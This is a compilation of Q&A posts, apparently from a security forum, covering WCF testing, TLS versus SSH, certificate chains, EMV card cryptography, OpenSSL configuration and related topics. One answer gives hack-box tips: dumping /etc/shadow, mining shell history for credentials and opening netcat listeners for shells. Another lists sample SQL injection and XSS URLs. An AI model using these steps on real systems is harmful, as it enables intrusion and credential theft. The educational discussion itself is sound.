How to Perform Vulnerability Assessment for WCF services Does anyone know how to perform penetration testing/vulnerability assessment  for Microsoft WCF services I couldn't find a tools till now , any tools available and guides are welcome

Beyond basic SOAP fuzzers there aren't too many advanced tools useful for pen testing of a WCF service. Since WCF/SOAP is really just a front for the underlying API you've written, you really need a tool to assess the vulnerabilities in your API, which is usually something of a custom nature.

There are tools out there like FxCop which have a very simple baseline for security analysis, but you can't rely on it entirely.

There's a great intro presentation on the OWASP site by Brian Holyfield about pen testing WCF services here: https://www.owasp.org/images/6/6c/Attacking_WCF_Web_Services-Brian_Holyfield.pdf. He lists a couple tools, but they aren't WCF/SOAP specific.


Is  http-equiv secure? I'd like to redirect a visitor to the login page if he's not authenticated and she/he wants to access a protected page.
I can handle this via the backend code, but it's easier to make it using HTML. My question is: Is it secure to use the meta http-equiv in my case?

{% block body %}

  {% if user.is_authenticated %}
    <meta http-equiv="REFRESH" content="0;url={{ BASE_URL }}">

  {% else %}
    <form method="post" action="." class="form-horizontal" role="form">
      {% csrf_token %}
      {{ form|crispy }}
      <input type="submit" id="btn-login" class="btn btn-success" value="Login">
      <input name="next" type="hidden" value="{{next}}">
    </form>
  {% endif %}

{% endblock %}

You should either redirect the request with a 302 response or forward the page in your backend.

You can not be sure that the <meta http-equiv="REFRESH" ...> is actually performed in the browser. There might be some browsers, which do not support it and there are even browser addons which block such meta actions: Chrome Auto Refresh Blocker

Beside that the <meta http-equiv="REFRESH" ...> is deprecated and should not me used anymore (W3C).

If you want to use it anyway you have to make sure that you do not expose any data for not authenticated requests.


Securing multiple connections with different protocols all together I need to secure the communication between an application (runs on any PC and has been designed for Windows) and an external device (runs on UNIX). The application is running on Windows while the device is Unix-based. I can directly influence the application, but I cannot influence the device (I have to communicate with the guy that is developing the firmware for the devices).
Both sides must be on the same LAN in order to communicate with each other, but the traffic between those must be secured. There are several raw TCP-Connections as well FTP. The communication is bidirectional. There is also a directed UDP broadcast but this only happens sometimes and the sent data is not that sensitive so there is no need for protection here yet. A device can be connected to multiple hosts running the application and the application can be connected to multiple devices.
I also need to make sure that no ones gets unauthorized access to the devices or manipulates data packets between the application and the devices. This means I need authorisation and integrity checks. My goal is to simply make the TCP and FTP communications inside the LAN secure. It might also be possible that users will need remote access to the devices from outside the LAN but that is a different story. For now I only want to secure the traffic that is happening inside the LAN.

So far so good. I have done some research on what security options are available. My problem appears to be pretty simple yet it seems that there are a lot of different solutions out there. Two of them appear to be suiting my problem perfectly.

TLS/SSL
SSH

As far as I know, SSH operates on the application layer whereas TLS/SSL is implemented at above the TCP layer. Does this mean that I basically need an external application that sets up a protected SSH tunnel for data communication? Do I need multiple tunnels for every connection that I am using (raw TCP, FTP)? If going for SSH, I will certainly replace FTP with SFTP. This reduces the number of open ports as far as I know since SFTP is only using one port for both control and data transfer. However, I heard that it is not possible with SFTP to limit the bandwith of the server. We need to decrease the speed at which the FTP server is sending files because the device has limited resources and the traffic might block other data. This is possible with FTP

On the other hand, there is TLS/SSL. I do not need third party programs here, but I need to take care of TLS/SSL in the application I am using itself. This means the application must be aware of encryption, as far as I know. It allows for encryption, authentification and can garantuee data integrity for the communication. Thats nice, but is it possible here to tunnel everything through one connection? (again, I have several TCP connections and FTP transfer). I could replace the FTP with FTPS, but I heard that FTPS (and FTP in general) seems to have problems with NAT or firewalls. In the future, it might be possible that someone needs to have access to the FTP-servers on the devices. However, as I mentioned before, if that happens then we will need a central access-server anyways so that shoiuld be no problem.

Ok, sorry for all the text that I am bothering you with. I am just unsure what solution fits my problem best. My goals are simply to secure the data traffic and minimize the ports that need to be open on the devices or the host which runs the application.

What can you suggest? SSH or TLS/SSL? Or maybe something completely different (like VPN)?

With SSL/TLS, you will most probably need to open several ports (one per service), and indeed FTPS (FTP over SSL/TLS) indeed may cause some issue when dealing with the data connection (port to open to establish the connection, NAT device address to take into account, etc.).

SSH might seem more suitable since it allows to open only one port:

SSH offers native support for SFTP and SCP protocols for file transfers (even if I'm not aware of QoS settings at this level, usually handled by the host or external devices), all within a single TCP connection (as opposed to the two TCP connections required by FTP),
For the Raw TCP, you may want to take a look to the SSH subsystems configuration options, mainly used to make 'sshd' to use an external program to handle SFTP requests, it can allow you to define your own supplementary subsystems corresponding to your needs,
And at last SSH offers tunneling facilities, to secure any kind of TCP connections.


Separate log-in panel for administrators? I have a dispute with my father about the following ...

I want to make a website (with MySql database) and use the root/index - page for BOTH the log in entry for normal visitors AND log in for admins.

My father does not agree as he said the following ...

You should NEVER use the same page for both visitors and admins as (I repeat his words) "you want to keep the door for admins secret which is not possible if you use the same page for both".

He prefers to place the admin log-in page in a separate directory which also enables him to protect it from normal user interfacing (using the HTTP server's authentication abilities), so that the user has to authenticate himself first on the HTTP server and then secondly on the log-in panel for the admin-user.
He also says that if you give this sub directory some obscure name as u7Vf% instead of admin - having directory listing off - you make this admin-door almost invisible for almost everyone. Which may enhance the safety of the system.

I however say that security through obscurity is not a better way of guaranteeing the integrity of the website. I would prefer one log-in panel and focus all my attention toward securing that.

If you protect the log-in page with HTTP authentication or hide it behind a “secret” URL, really all you're doing is add extra passwords. Instead of one admin password, there are effectively three: The “secret” part of the URL, the HTTP authentication password and finally the admin password itself.

While this may sound like a good idea (more is better?), it's nonsensical. Managing three different passwords is a lot of trouble and has little benefit over a single good password. In fact, if a security procedure is very annoying, people tend to take shortcuts. No sane person is willing to write down three very long strings on each log-in, so you'll probably end up making each password relatively weak, save them in the browser or whatever. In the worst case, you'll be less secure than before.

I'd rather choose one strong password per account and leave out the theatre. If you make it strong enough, you can stop worrying about brute-force attacks.

Just to clarify: It can make sense to separate the admin content from the standard user content, but not in the case described above.


How safe are android applications? Can one application access data of another application in some way because it has access to files on phone storage?

Can it make screenshots/log keystrokes without my knowledge?

Do such permissions exist?

How can I protect my phone from such things?

I think the only way: to use only trusted applications with good reputation from well known companies.

For example, if I use Google chrome and banking application on smartphone, can Chrome access banking app screen in some way?

Root kits / keyloggers do exist on Android.
There are plenty of commercial viruses/rootkits that do.  An example of this HackingTeam who has exploited several zero days and has written maleware that has the ability to rootkit your whole phone and track every app you use and your location and read your texts along with rootkits.

more info on this:

http://www.hackingteam.it
https://en.wikipedia.org/wiki/Hacking_Team

As for the Permissions.there is external read / write permissions. And probably other ones. Read these two articles by android.

https://developer.android.com/guide/topics/permissions/normal-permissions.html
https://developer.android.com/training/basics/intents/index.html

Yara(a tool which many anti virus programs like ESET and CLAMAV US)which is used by pattern analysis on android that will search for Keylogger like signatures and priv exec. Any other tool besides yara for maleware anaylsis is pretty much garbage.

Note Some of the process are legitimate may have functionality to your keyboard.
below are links to yara, and some rules that were written for detecting android male-ware:

https://virustotal.github.io/yara/
https://github.com/Yara-Rules/rules/tree/master/Mobile_Malware


Is putting every username and password for our organization in a giant Google spreadsheet a spectacularly bad idea? Our startup has something like 100 usernames and passwords to keep track of, and we can't keep track of all of them.  Would putting all of them in a Google spreadsheet shared amongst ourselves be a bad idea?  It feels like a security problem, but I can't articulate why I think that.

Without wanting to pick on Google, you should read the article by James Fallows in the November Atlantic Monthly. In brief, Fallows's wife's GMail account was compromised by a scammer. The scammer used her mailing list and old emails to generate a "Help, I've been mugged in foreign city and need money!" scam. On top of that, the miscreant deleted all of her documents and old email before she regained control of the account.

Consider: your shared document is no more secure then the Google account of your most careless team member. While Google's security may be generally better than yours in theory, it's also a more prominent target, and can easily be undermined by carelessness on the part of a user.

You may incorporate the Google cloud into your infrastructure, but you can't just assume that Google is going to take on all the responsibility for your security. Nobody will care about your data as much as you do.


How do I check who a public PGP/RSA key belongs to? I am new to public key cryptography. I see from keyservers it's possible to do a look up for public keys associated with an email address.

Is there a reverse function available to check what email/domain a public key relates to. I have several of these that need querying.

If the key owner provided his or her actual email adress when generating the keys you can read it from the public key.

For an asc keyfile you could simply use

gpg [file]

It should also be displayed when importing the key into Gpg4Win.

Source


openssl certificate chain output I was reading the "Security with HTTPS and SSL" guide for android developers and reading this paragraph.

The paragraph discusses the fact that servers do not always return the entire certificate chain during an SSL handshake, hey often return only the server certificate and the root CA of the chain. The chain are showed using openssl like: openssl s_client -connect egov.uscis.gov:443

This gave me some doubts:

The paragraph states that browsers, in order to manage this server configuration, simply cache intermediate CAs when visiting sites which are in servers giving a complete certificate chain and when they visit another site which is in a server giving only the "leaf" and "root" certificates they use the cached intermediate CA's certificates to follow the chain. But what happens if a browser visits a site which is in a server returning only the server and the "roots" certificates at a time in which the browser haven't still cached certificates of the intermediate CA's? An authentication error would be triggered?
How exactly does a browser follow the entire certification chain if it only receives the server and the root CA certificate? As far as I know the process is something like a recursive function which looks at the certificate signature, decrypt it, and checks if the result of the decryption coincides with the certificate of the current step.
But, if only the server and the root CA certificates are gave, the process must stop with an error at the second passage, since (if more than one CA is involved in the certificate chain) the server certificate wasn't signed directly by the root CA...

I think I'm misunderstanding something in PKI verification procedure... Could you please clarify it to me and make me understand where I'm wrong?

------ EDIT

Thank you for the good answers, so you're telling me that when the article I linked states "it is not uncommon to configure a server to not include the necessary intermediate CA." it refers to the intermediate CA's certificates NOT INCLUDING the root CA right?

... often return only the server certificate and the root CA of the chain

While it is a common error to return only the server certificate sites usually not return the root CA (and this is also not claimed by the article you reference). In fact, any root CA will be ignored by the client since only the root CA local to the client should be used as a trust anchor and not some root CA send by the peer. See SSL Certificate framework 101: How does the browser actually verify the validity of a given server certificate? for more information.

  ... But what happens if a browser visits a site which is in a server returning only the server and the "roots" certificates at a time in which the browser haven't still cached certificates of the intermediate CA's? An authentication error would be triggered?

This depends. Some browsers will fail to validate the certificate. Others try harder, i.e. use Authority Information Access to find the missing intermediate CA. See AIA Fetching: Solving a Common SSL Misconfiguration for more information.

  How exactly does a browser follow the entire certification chain if it only receives the server and the root CA certificate?

Again, the browser does not use a root CA send by the server at all but only uses locally trusted root CA. If the browser has no knowledge of the intermediate certificates and cannot find these with the described methods the certificate validation will fail.


How to avoid man in the middle attacks when sending sensible info via email? I'm setting up a website where users can buy cupons. I should send coupons codes to customers via email and these codes are enough to use the coupon. How can I avoid man in the middle attacks? Do you have any suggestions? I would like to avoid to send encrypted info! Thank to everybody

A mail will pass through several mail servers on its way to the user. Even if the transport between these servers is encrypted (which you as the sender cannot control and thus not guarantee) the mails are available in plain on each of the servers. Moreover the mail is available in plain on the final server where the user then will retrieve it from. Thus, plenty of ways for somebody to intercept it.

If despite this you still want to use mail you need to make sure that the contents of the mail is only useful for the intended recipient. Alternatively you could simply accept the risk that somebody might read the mail and misuse the coupons - which might be an acceptable option if the value of the coupons is low anyway.

One way to protect the coupons would be to encrypt the mail with established methods like PGP or S/MIME. Only you don't want encryption and it would be hard to to anyway since these methods are only established as protocols but are not widely used and supported in practice - so it would not work anyway with most recipients.

Another way would be to encrypt only the coupons in the mail and provide the necessary password to the user during the buying process or let the user pick a password. But, again this is encryption you don't want and the process of sharing the password with the user will probably be too complex to some users and discourage them.

You might also send only a link to the coupons in the mail and the user has to login with the same information he used to buy the coupons in order to retrieve the coupons from your website. This might be a username and password if you have user accounts anyway or it might be parts of the credit card used to buy the coupons etc.  Of course in this case it might be simpler to not send the mail in the first place but just let the user download the coupons at the moment they bought them.

Or, if you insist on using mail (which is unprotected) you might just accept the risk that someone else might get access to the coupons and add a verification later when the coupons get used. This might be done by personalizing the coupons and require some kind of validation when the coupons gets used. Depending on how they get used this might be some kind of identification of who is using the coupons or making sure that the person using the coupons has access to the same credit card which was used to buy the coupons.


Using BITMAIN AntMiner L3+ for cracking password I want to use a BITMAIN AntMiner L3+ miner to crack passwords. How can I do that?

Can I install hashcat agent to L3+ ?

You cannot crack passwords using a cryptocurrency ASIC. These ASICs are extremely limited in what they can do. This is especially true for your miner, which is designed for Litecoin, a cryptocurrency that uses scrypt, which is not commonly used for hashing passwords (though it is useful for doing so).

A cryptocurrency mining ASIC is not simply hash-acceleration hardware, where your computer prepares the data to be hashed and the device returns the digest. What actually happens is that the device does everything by itself, preparing the data to be hashed and verifying the block's integrity. Think of it like a car. While a car has a reciprocating engine, you could not take a car and turn it into a propeller airplane, despite both using the same type of engine. You would need to strip it and remove each component, throwing away a lot of what makes the car a car. The same is true for a mining ASIC, except that the components are so small and tightly integrated that it cannot be disassembled and re-purposed.


Integrity of an SSD forensic image Is there any solution to validate the integrity of an SSD image?
If I know well in case of SSD low level disk maintenance stuff such as wear leveling is performed inside the drive in order to maximize its lifetime regardless of the use of a write blocker. These activities alters the filesystem and you cannot get the same hash next time when you are trying to validate the image.

The "solution" is to thoroughly document your imaging procedure, including pictures, chain of custody, write blockers, and so on, so that if/when someone does call your methodology into question, you can defend it.  Additionally, you should understand what's happening in an SSD so that if someone asks you about the hashes and why they don't match, you can explain clearly and concisely why that is expected behavior, and then fall back on your documented methodology to defend the integrity of your image.

I suppose if you were in a situation where an identical image was absolutely necessary, you could let the drive sit in a write blocker for a few hours and let all the trim/garbage collection activity on the drive finish so that it no longer moves data. Of course, this could destroy any possible deleted data that you may recover - and even then, the hashes still may not match at the end depending on how the SSD behaves.

Dislaimer: IANAL


How do I store a swipe pattern in a password manager? Password managers are great for when I don't want to remember dozens of logins, keys, passwords and more. But what if I have a few mobile devices lying around? They unlock with a swipe pattern but there's no real way to represent that in a password manager.

Do I just write out the pattern in the password field? How can I do that without expecting my future self to remember that LR stands for lower-right and not left-to-right?

Or should I just forget about this and skip straight to a password unlock if I forgot the pattern? I guess that's fine for current devices, but what if they start introducing pattern-unlocks on other access controls or this isn't available? It seems Android 5.0 removed the option to unlock with a Google account.

I would suggest giving each phone a name, then for the password use the keys on the num pad to represent the dots to hit.

For example, if you have a swipe pattern in the shape of an L (starting on top left), your password would be 74123.  If you go with every dot in a "Z" shape (starting on top left), the password would be 789654123.

Most can't store pictures, but that would be another option.  Take a picture of dots or draw them out on Paint, then draw the lines showing the dots to hit.  Then you can just name the file something to do with the phone it's for, then store it somewhere only you have access to.

Example of "Z" Shape as a picture


Cryptography behind chip based credit cards (smart cards)? Why are chips safer than magnetic stripes?

The answers to the above question explain that the chip based cards can not be cloned as the "secret number" is embedded in the chip and protected by the use of public key cryptography. The chip also performs some cryptographic operations to authenticate itself without revealing the actual secret information.

I was wondering what are these cryptographic operations that enable a secure financial transaction. I have searched sec.SE and did come across a similar Question but the answers do not explain the workings of the protocol. They focus more on the possible attacks and do not say more than "some crypto math".

I hope I have made myself clear.

P.S. I am curious to know about the workings of the cryptographic protocol and how it enables security.I am aware of the basic concepts of cryptography.

Exact cryptography depends on the bank. The communication standard (ISO 7816) is flexible and does not mandate specific cryptographic algorithms. In practice, you would find the two following models:

The card does symmetric cryptography only (symmetric encryption, MAC). The card has a static identifier (which contains, roughly speaking, the card number and similar information) which has been signed by the card issuer (a copy of that signature is stored by the card, who sends it to the payment terminal). The card chip contains a secret value which is also known to the bank; that secret is used as a key for a MAC computed over the transaction details.
The card can compute digital signatures. It contains a private key which is known to no other entity (in particular, the issuing bank does not know the private key either). The corresponding public key is certified by the bank, i.e. the bank has signed a package containing that public key and the card ID. That signature is stored on the card, and sent to the payment terminal.

In both cases, the PIN code is sent to the chip, to convince it that its rightful owner is present, and therefore the chip should MAC/sign the transaction details. Main differences between the two models are:

In the second model, the payment terminal can make sure, in an offline way, that it talks to a genuine card, by verifying the bank signature over the card ID and public key, and then the card-computed signature itself, using the card public key and the known transaction details. With the first model, the payment terminal cannot make sure that it talks to a genuine card; through the bank signature over the card ID, the terminal can make sure that a valid card with that specific ID exists, but the card actually inserted in the terminal could be a clone, who spews out random junk instead of the expected MAC.
In the first model, since the bank has a copy of the card secret key, it could theoretically frame the card owner, by computing fake transaction. With the second model, the bank can claim that since it does not own a copy of the card private key, transactions are necessarily genuine. This may matter in a legalistic point of view, in case of litigation between the bank and its customer. This is not an absolute -- we enter here a lawyer-infested battlefield, where mathematics are just an element among others -- but the second model may reduce costs for the bank, through their own insurance system against payment defaults.
Cards which can do asymmetric cryptography are more expensive than cards which can do only symmetric cryptography. The price difference has much reduced; an order of magnitude would be 0.1$ vs 2$ (building price). However, the card market has a huge latency because changes in the protocol can percolate only after cards have expired and payment terminals have been updated (the latter being the slowest of the two).

Ten years ago, all payment cards in France ("Carte Bleue") followed the first model. This meant that a payment terminal, typically offline, could be fooled with a card clone, containing a copy of a valid card ID, but producing only junk instead of the MAC. So in practice, terminals would allow offline mode only for small amounts (say, less than 60$ or so) and even then would require online mode (the terminal asks to be stowed on its charging base, which contains a modem or ethernet plug) on a random basis. In later years, WiFi and 3G allowed terminals to go online much more frequently, in a smooth way (the restaurant waiter can stay with the customer, at his table, for the duration of the operation).

There was also, around 2000, another issue, which was that the signature from the bank (over the card ID) used 320-bit RSA. Factoring a 320-bit modulus is computationally easy. A self-taught engineer called Serge Humpich noticed that, factored the modulus, created a fake card (i.e. not a clone at all, but still accepted by offline payment terminals), and thought himself a genius. He then tried to "sell his expertise" to the group which manages the banking smart card standards in France (anecdote has it that he contacted them through a lawyer, and he selected a blind lawyer so that the man could not describe his facial features, should legal hijinks ensue). The said group thought it was blackmail, and called the police. Humpich was arrested during a demonstration involving a couple subway tickets with a fake card (the dozen innocent bystanders suddenly turned out to be a dozen police officers in plain clothes). The whole story was a conflation of blunders: a 320-bit RSA modulus, in 2000, was certainly a mark of severe incompetence (even when it was chosen, in the late 1980s, it was already too small with regards to known academic cryptanalytic results); and the ludicrously wacky details of Humpich's actions showed that he was quite severely deluded on the novelty of his "findings".


Can't free proxies be used to create a botnet? I recently learned that there are plenty of services on the internet that offer/list free public proxies (freeproxylists.net, hidemyass.com, proxyscrape.com to name a few). Is this safe? Can't an attacker easily connect to multiple of these free proxies at once and essentially build a botnet?

A bot (as in botnet) is something different than  a proxy. While attackers can use proxies to hide their own IP address from the target they can not actually control the proxies with small commands to mount large attacks against some target. A proxy just passes through the original traffic, i.e. an attacker would need to have lots of bandwidth by its own to mount an attack against some target with the same bandwidth.
A bot instead provides a way for the attacker to run arbitrary actions. Specifically it is possible to control lots of bots with only little bandwidth, but let these bots then mount bandwidth-intensive attacks against the DDoS target.


The most trusted hard problem Is there a mathematical formalism to rank the hardness of the hard problems?

In particular I am referring to the sort of hard problems that are typically used in cypher system; such as factorization for RSA or the number theoretic method used in AES.

Please note that by a rank system I am not referring the belief that one problem is harder than the other because it has been around longer, I am asking for some formalism.

Yes. And no.

One-time-pads are provably uncrackable because every solution is equally probable. They're also totally useless in all but a few cases.

RSA and AES are so different as to not really be comparable. RSA relies on the difficulty of certain computations, while AES doesn't use math in the traditional sense. It scrambles the bits very directly, so the best attack we have is a direct brute-force on the key itself. An "ideal" attack would involve finding a weakness in the way the bits were scrambled, such that you could find some statistical bias that could be exploited. But that's not math in the sense of factoring primes. You're not attacking the problem head on, you're looking for subtle mistakes.

Even DES, the first "strong" cipher we've ever had, is unbroken in the sense that the easiest attack is a brute-force one. It's just crippled by the fact that the key size makes brute-force relatively easy.

Finding a form of "unbreakable" symmetric encryption isn't really the problem.


How Is The OpenSSL Configuration File Parsed? I'm trying to understand how OpenSSL parses its configuration file.  In the sample configuration file that is installed with OpenSSL v1.1.1g, its seems to be divided into three main sections - the [ ca ] section, the [ req ] section, and the [ tsa ] section (because of the lines that contain ############# ... that separate these sections).  Inside the [ ca ] and [ req ] sections there are key/value pairs whose name is a command option and whose value "links" to another section in the configuration file.  A good example is the x509_extensions = usr_cert key/value pair in the [ ca ] section.
I am under the impression that the OpenSSL config file is processed by the OpenSSL parser starting at the first line of the file and processing the next line in turn (please correct me if that's not the case).  Therefore, I would expect the [ ca ] section's x509_extensions = usr_cert to be linked to a section of the config file that occurrs inside the [ ca ] section.  But it doesn't - it links to the [ usr_cert ] section that occurs inside the [ req ] section, which is outside the [ ca ] section.
So, what's happening when the OpenSSL parser processes the configuration file?  Is my visual perception of inside and outside wrong when I read the configuration file?  Does the parser "call" the linked section, process its key/value pairs, then return parsing of the config file to the next line in the config file?  If this is the case, wouldn't it make it much easier to understand the structure of the config file if "links" to sections that pertained to  the command whose section is being parsed were actually present within the command's section?

See man 5 config on your system or at https://www.openssl.org/docs/man1.1.1/man5/config.html .
I think you are being confused by your perception there is some nesting or hierarchy. There is not. ALL sections are at the same level, and are delimited solely by the [ name ] line. Lines consisting of ### are comments and ignored, and used only for visual clarity to the human reader. There is a [req] section and a [ca] section and a [usr_cert] section and more; none of these is 'within' any other, although an item in one section may refer to another section -- any other section -- if the code uses it as a section name. In fact the [ca] section is a stub that contains one item that points to another section, which in the upstream config is [CA_default]; this allows for keeping configurations of multiple CAs (perhaps a root and intermediate(s)) in one file if desired. If we look at the code for ca.c relevant to your example:
https://github.com/openssl/openssl/blob/OpenSSL_1_1_1-stable/apps/ca.c#L441:
    /* Lets get the config section we are using */
    if (section == NULL
        && (section = lookup_conf(conf, BASE_SECTION, ENV_DEFAULT_CA)) == NULL)
        goto end;

where BASE_SECTION is #define'd as "ca" and ENV_DEFAULT_CA as "default_ca", and conf is a variable pointing to the data structure set up by app_load_config() when it parsed the config file.
The variable section can be set by a command line option before this code is reached; if it wasn't we look in the [ca] section for the item default_ca = something and use that as the default.
https://github.com/openssl/openssl/blob/OpenSSL_1_1_1-stable/apps/ca.c#L781:
        if (extconf == NULL) {
            /*
             * no '-extfile' option, so we look for extensions in the main
             * configuration file
             */
            if (extensions == NULL) {
                extensions = NCONF_get_string(conf, section, ENV_EXTENSIONS);
                if (extensions == NULL)
                    ERR_clear_error();
            }
            if (extensions != NULL) {
                /* Check syntax of file */

where section and conf are the variables from above and ENV_EXTENSIONS is "extensions". Again the variable extensions can be set (independently) from the commandline, otherwise we look in the selected (as above) section of the config for the item "extensions = something" and use that value.
Later in the code it passes variable extensions as an argument to parameter ext_sect of certify() which in turn passes it to do_body() which uses it as the section name in which to find information about the extensions to add. There may be many such sections, which we can select among either using the configuration or commandline options. And many of the items in an extension section, like subjectAltName, can refer to yet another config section, usually with @name syntax; those are (at least mostly) documented in man 5 x509v3_config.


What is next step after nmap + metasploit? When I'm working on hack boxes, what I do (if not using Armitage) is:

nmap the box to discover running services version
search metasploit to find a working exploit for that version

Now I'm stuck. What if the running service version is not vulnerable or the service version is said to have a vulnerability but not public exploit?

I was wondering what real hackers do beyond basic nmap + metasploit. When I don't have working exploits, I can't move forward.

I know you may say phishing or exploit writing.

What to do after nmap and metasploit depends on where you are. I'm also around the "script kiddie" level but I'll list some tips I've seen from experience and others:

Before you connect to the box:

Do some automated scans like nmap, nikto, wpscan, sqlmap, etc
Check the software versions. They often use out-of-date and unsecured software with known vulnerabilities
Google. You should try to understand what those softwares do and how they may be exploited.

If you're on a WepApp (in a browser):

Look at robots.txt and sitemap.xml. Useful links and folders are sometimes in there.
Crawl it (with zaproxy or Burp Suite or some other crawler) and brute force some directories and files (with dirb, dirbuster, gobuster, etc.) to look for interesting folders and files.
Poke around. Just go around the app, learn about. You may find some prompts, boxes for user input, search boxes, file uploads, etc. that you can exploit.
Use Developer Tools. You can probably access it by pressing F12. Use Inspector and Inspect Element. The authors sometimes leave some helpful hints in the comments.
In Developer Tools, look around at some .js files. There may be some interesting functions.

If you're connected to the box with something like nc:

Go around and explore. Just cd into folders. If you know the Linux or Windows file system (depending on the box you're trying to hack), you can quickly spot some "out of place" folders and files.
whoami to know your privileges. history to look at, well, history. Users sometimes enter credentials in commands and they get stored in history.
Dump hashes. /etc/shadow is an example. You can try and crack those hashes or "pass the hash".
python -m SimpleHTTPServer 8080. (Use whichever port you like). This can allow you to upload files from your local machine to the box.
nc -lvnp 8080. (Again, use a port you like). This will open a nc listener. I'll leave you to explore how you can pop shells with this.

Those are just a few things you can do. One of the most important things is to "poke and explore". Look around for user input, unusual files and folders, implemented functions, etc. Also, document as much as you can. It'll be much easier to know "where that reverse shell script" was put in the box. It'll also help a lot when you do a write-up.


Password Reset Chatbot with Authentication through text message I just saw a design for a chatbot that resets a password for a locked out user after failed logins. It authenticates the user by sending a text message to the user's phone.

How practically safe is this, and what are technical/social exploits that should be considered?

Also if you have any comments on the general level of risk this may have please reply.

A few quick things that come to mind:

What is the method of entry? If the user is inputting the password into the "chatbox", you run the risk of someone simply looking over the users shoulder and seeing the password.

Will you be using rate-limiting? SMS messages, while very cheap, are not free to send. You don't want to foot the bill when Joe decides to send ten-thousand password-reset messages to Carl. You'll also need to rate-limit entries, to avoid someone brute-forcing all possible combinations. Make sure you do this by both username and IP.

On that topic, you'll need to have a fairly long authentication code: most 2FA sites use 2FA as a backup method of authentication, not the "keys to the kingdom". Since you're relying to heavily on the server-generated code, you'll need to make sure it's long enough to make distributed brute-force infeasible.

You'll have to make sure to explain what the message is, in the body of the message. For example, "Your WidgetCo password reset code is: 123456" - this way, people can know that they're under attack, as opposed to just getting a bunch of random numbers over text (although since there's no other authentication, users can't do much even if they know they're under attack).

Finally, keep in mind that you're also at the mercy of the mobile carriers security - all this is for naught if I can just call up Verizon and social engineer them into telling me the text.

Overall, I'm not certain this is a great idea - using an email for recovery (with 2FA) would make more sense, and using OAuth would be much more secure, while being much less of a headache for you.


Why does my openssl connection fail with elliptic curve cipher ECDH-RSA-AES128-SHA? I am using openssl example server and client with specific cipher in ubuntu 14.10 pc. The openssl version is 1.0.1.

When I use the RC4-SHA cipher in both sides, the connection is established successfully. However, when I use ECDH-RSA-AES128-SHA or some other elliptic curve cipher, I get the following error:

3074328252:error:14077410:SSL routines:SSL23_GET_SERVER_HELLO:sslv3 alert handshake failure:s23_clnt.c:762:
---
no peer certificate available
---
No client certificate CA names sent
---
SSL handshake has read 7 bytes and written 163 bytes
---
New, (NONE), Cipher is (NONE)
Secure Renegotiation IS NOT supported
Compression: NONE
Expansion: NONE

Is there some specific reason why this happens?

Thanks!

That's because you are trying to use an ECDH cipher suite, and not and ECDHE cipher suite.

ECDHE-RSA: the server's certificate contains an RSA public key; the server generates on-the-fly a new elliptic curve Diffie-Hellman key pair, and signs the public part, that the server sends to the client.
ECDH-RSA: the server's certificate already contains an elliptic curve Diffie-Hellman public key; it is not generated on-the-fly; the Certificate Authority that issued (signed) the server's certificate used RSA.

Since your server's certificate contains a RSA key, you cannot use any "ECDH" cipher suite, only "ECHDE" cipher suites. (And that's fine ! ECDHE cipher suites actually provide Forward Secrecy, which is a good thing to have, and ECDH cipher suites don't do that.)


Why is it dangerous to allow all characters in a URL? Reviewing the configuration of CodeIgniter, I saw the following line:

$config['permitted_uri_chars'] = 'a-z 0-9~%.:_\-';

And the documentation it says:

/*
|--------------------------------------------------------------------------
| Allowed URL Characters
|--------------------------------------------------------------------------
|
| This lets you specify which characters are permitted within your URLs.
| When someone tries to submit a URL with disallowed characters they will
| get a warning message.
|
| As a security measure you are STRONGLY encouraged to restrict URLs to
| as few characters as possible.  By default only these are allowed: a-z 0-9~%.:_-
|
| Leave blank to allow all characters -- but only if you are insane.
|
| The configured value is actually a regular expression character group
| and it will be executed as: ! preg_match('/^[<permitted_uri_chars>]+$/i
|
| DO NOT CHANGE THIS UNLESS YOU FULLY UNDERSTAND THE REPERCUSSIONS!!
|
*/

However I was not entirely clear, that effects or safety concerns may exist to allow all characters in a url.

What problems can generate this situation?

Limiting the character set in this way (also called whitelisting) is one of the recommended methods of input validation.  The purpose of input validation is to prevent a program from executing on data that may cause unintended problems.

There are many successful attacks that have resulted from malformed URLs (these are not actual attack URLs, but representative of attacks):

filepath injection: http://example.com/?C:\documents\top_secrets.txt
buffer overflow: http://example.com/aaaaaaaaaaaaaaaaaaaaaaaaa...aaaEvilShellCode
script injection: http://example.com/?<script>alert("Click me!")</script>
SQL injection: http://example.com/?USER=' or 1=1; select * from users

Initial reactions to these attacks were to prohibit the backslash character, quote marks, asterisks, and the less-than and greater-than symbols.  This is called blacklisting; unfortunately, blacklisting is mostly a "patch after learning about the attack" approach.  Whitelisting is somewhat more effective than blacklisting.  However, limiting the characters that appear in a URL may do virtually nothing to prevent many of these attacks if they can all be bypassed using percent encoding, which enables the attacker to use only characters from the approved white list:  %2F is the same as a /, etc.

To be effective, the regexp in CodeIgniter needs to be performed after the percent encoding has been decoded.  And in order to prevent buffer overflow problems while simply testing the data with regexp, the first step of the validator has to be length checking.

There's another problem that they might be trying to prevent with their whitelist, and that is URL hijacking using Unicode characters to simulate ASCII characters.  To a human just clicking a link, the strings "exampleZurichBank.com" and "exampleZuricⱨBank.com appear similar.  Blocking Unicode characters that aren't in the [A-Z][a-z] range does help prevent these; it also disenfranchises a large segment of the planet by blocking URLs in their native alphabets.

Keep in mind that input validation is only one preventative measure out of many that still need to be implemented.  Applications still need to defend against other common vulnerabilities, such as XSS, CSRF, SQL injection, session hijacking, etc.


Is running an SSH tunnel from my Web App Server to my Database server safe security-wise? I have a web app hosted in Digital Ocean and use Laravel Forge to keep a daemon running an SSH tunnel to another server (i.e. ssh -L XXX:127.0.0.1:XXX -p XXXX root@[ipaddress]).

I do this in order to stay connected to a remote DB in that server.

Is there any major vulnerability in doing this? Can someone else see the daemon command running? But even if that was possible, wouldn't they need the SSH key to have access to the server?

Is there any major vulnerability in doing this?

Depends on the configuration / threat model / etc. There's a lot of variables to consider.

  Can someone else see the daemon command running?

Yes - anyone with access to either machine can see this, including all parameters.

Linux:

ps -aux | grep -i 'ssh'

macOS:

ps -Aj | grep -i 'ssh'

Here's an example:

$ ps -aux | grep -i 'ssh'
root      444  0.0  0.0  37588  5692 ?        Ss   13:20   0:00
/usr/local/bin/ssh -L XXX:127.0.0.1:XXX -p XXXX root@[ipaddress]

  But even if that was possible, wouldn't they need the SSH key to have access to the server?

Well, yes and no. There are some factors to consider:

If someone is able to compromise your server for any reason, you may cause the compromise of the remote database server depending on the configuration and permissions.
If the SSH server allows password-based authentication, that could present a problem if they discover credentials on your system.
If your SSH server accepts keys, but your key doesn't require a passphrase, this can lead to compromise of the database server.

